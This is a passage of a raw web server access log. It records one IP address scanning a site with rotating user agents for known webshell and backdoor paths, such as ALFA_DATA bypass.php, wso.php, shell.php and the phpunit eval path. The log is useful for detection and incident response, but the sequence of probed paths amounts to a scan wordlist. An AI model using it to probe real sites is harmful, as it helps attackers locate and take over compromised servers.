[12/Feb/2026:14:40:54 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:40:55 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:40:55 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:55 +0300] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 203.188.168.29 - - [12/Feb/2026:14:40:56 +0300] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:56 +0300] "GET /assets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:40:56 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:57 +0300] "GET /index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:57 +0300] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:57 +0300] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:58 +0300] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:58 +0300] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:58 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:59 +0300] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 203.188.168.29 - - [12/Feb/2026:14:40:59 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 203.188.168.29 - - [12/Feb/2026:14:40:59 +0300] "GET /wp-admin/network/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:00 +0300] "GET /.well-known/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:00 +0300] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:41:00 +0300] "GET /wp-includes/fonts/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:01 +0300] "GET /css/slider.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:01 +0300] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 203.188.168.29 - - [12/Feb/2026:14:41:01 +0300] "GET /wp-includes/css/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 203.188.168.29 - - [12/Feb/2026:14:41:02 +0300] "GET /wp-content/style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:02 +0300] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:03 +0300] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:03 +0300] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:03 +0300] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 203.188.168.29 - - [12/Feb/2026:14:41:03 +0300] "GET /.well-known/pki-validation/class_api.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:04 +0300] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:04 +0300] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:41:04 +0300] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:05 +0300] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:05 +0300] "GET /contacts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 203.188.168.29 - - [12/Feb/2026:14:41:06 +0300] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:41:06 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:06 +0300] "GET /firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:41:07 +0300] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:07 +0300] "GET /wp-content/uploads/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:07 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:41:08 +0300] "GET /images/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:08 +0300] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:41:09 +0300] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:09 +0300] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:09 +0300] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:10 +0300] "GET /wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:10 +0300] "GET /wp-admin/theme-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:10 +0300] "GET /wp-admin/css/colors/blue/abc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:11 +0300] "GET /wp-admin/maint/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:41:11 +0300] "GET /wp-content/themes/twentytwentyfour/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:41:11 +0300] "GET /wp-content/plugins/fix/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 203.188.168.29 - - [12/Feb/2026:14:41:12 +0300] "GET /tox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:41:12 +0300] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:12 +0300] "GET /wp-includes/js/dist/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:13 +0300] "GET /wp-admin/css/colors/tfileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:13 +0300] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:13 +0300] "GET /wp-admin/js/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:41:14 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:41:14 +0300] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:41:14 +0300] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 203.188.168.29 - - [12/Feb/2026:14:41:15 +0300] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:41:15 +0300] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:41:15 +0300] "GET /waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:41:16 +0300] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:16 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:16 +0300] "GET /wp-admin/css/glex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 203.188.168.29 - - [12/Feb/2026:14:41:17 +0300] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:17 +0300] "GET /wp-includes/SimplePie/Parse/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:41:18 +0300] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:41:18 +0300] "GET /wp-content/themes/twentytwentyfour/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:41:18 +0300] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:19 +0300] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 203.188.168.29 - - [12/Feb/2026:14:41:19 +0300] "GET /wp-content/themes/pridmag/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:41:19 +0300] "GET /theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:41:20 +0300] "GET /wp-content/themes/twentytwentytwo/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:20 +0300] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:20 +0300] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:21 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:21 +0300] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:41:22 +0300] "GET /wp-admin/css/colors/ocean/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:41:22 +0300] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:22 +0300] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:23 +0300] "GET /css/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:23 +0300] "GET /images/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:41:23 +0300] "GET /wp-includes/SimplePie/Cache/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:41:24 +0300] "GET /small.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:24 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:24 +0300] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:25 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:25 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:25 +0300] "GET /wp-content/plugins/pwnd/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:26 +0300] "GET /wp-includes/widgets/class-wp-widget-search-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:41:26 +0300] "GET /wp-content/languages/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:27 +0300] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 203.188.168.29 - - [12/Feb/2026:14:41:27 +0300] "GET /functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:41:27 +0300] "GET /admin/controller/extension/extension/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:28 +0300] "GET /wp-includes/SimplePie/Canonical.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:28 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/uss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 203.188.168.29 - - [12/Feb/2026:14:41:29 +0300] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:41:29 +0300] "GET /aks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:29 +0300] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:41:30 +0300] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:41:30 +0300] "GET /wp-includes/class-feed-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:41:30 +0300] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:41:31 +0300] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:41:31 +0300] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 203.188.168.29 - - [12/Feb/2026:14:41:31 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:32 +0300] "GET /wp-content/themes/twentytwentyfour/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:32 +0300] "GET /wp-includes/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:32 +0300] "GET /wp-includes/class-wp-dependency-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:41:33 +0300] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:41:33 +0300] "GET /wp-includes/PHPMailer/purna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:41:33 +0300] "GET 